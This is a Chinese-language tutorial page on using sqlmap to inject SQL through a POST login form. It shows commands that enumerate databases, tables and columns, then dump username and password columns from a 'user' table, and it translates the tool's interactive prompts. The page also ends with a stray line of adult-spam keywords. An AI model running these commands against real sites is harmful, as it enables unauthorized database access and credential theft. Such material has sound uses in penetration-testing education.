<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    4.1 SqlMap之POST登陸框注入實戰

    利用sqlmap進行POST注入,常見的有三種方法:

    注入方式一:

    1.使用burp抓包,保存txt格式文件。例如:保存為post.txt,然后把它放至某個目錄下

    POST登陸框注入實戰

    2.列數據庫:

    sqlmap.py -r "地址" -p n --dbs

    注:-r表示加載一個文件,-p指定參數

    POST登陸框注入實戰

    其中出現了三次提示:

    it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
    它看起來像后端DBMS是’mysql’。 是否要跳過特定于其他DBMS的測試負載? [Y/n] 輸入”Y”

    for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
    對于剩余的測試,您想要包括所有針對“MySQL”擴展提供的級別(1)和風險(1)值的測試嗎? [Y/n] 輸入”N”

    POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
    POST參數’n’是脆弱的。 你想繼續測試其他人(如果有的話)嗎?[y/N] 輸入”Y”

    以下是猜解出來的一些數據庫總共有13個數據庫。

    POST登陸框注入實戰

    3.猜表

    選擇一個數據庫,比如選fendo

    sqlmap.py -r "地址" -p n -D fendo --tables

    POST登陸框注入實戰

    得到user表。

    4.猜列

    sqlmap.py -r "地址" -p n -D fendo -T user --columns

    POST登陸框注入實戰

    5.猜數據

    sqlmap.py -r "地址" -p n -D fendo -T user -C “username,password” --dump

    POST登陸框注入實戰

    注入方式二:自動搜索表單的方式

    sqlmap.py -u "地址" --forms

    它會有幾次消息提示:

    POST登陸框注入實戰

    do you want to test this form? [Y/n/q]
    要測試此表單嗎?[Y/n/q] 輸入”Y”

    do you want to fill blank fields with random values? [Y/n]
    是否要填充帶有隨機值的空白字段? [Y/n] 輸入”Y”

    it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n]
    它看起來像后端DBMS是’MySQL’。 是否要跳過特定于其他DBMS的測試負載? [Y/n] 輸入”Y”

    for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n]
    對于剩余的測試,您想要包括所有針對“MySQL”擴展提供的級別(1)和風險(1)值的測試嗎?[Y/n] 輸入”N”

    POST parameter ‘n’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
    POST參數’n’是脆弱的。 你想繼續測試其他人(如果有的話)嗎?[y/N] 輸入”N”

    do you want to exploit this SQL injection? [Y/n]
    你想利用SQL注入? 輸入”Y”

    注入方式三:指定一個參數的方法

    sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"

    POST登陸框注入實戰

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类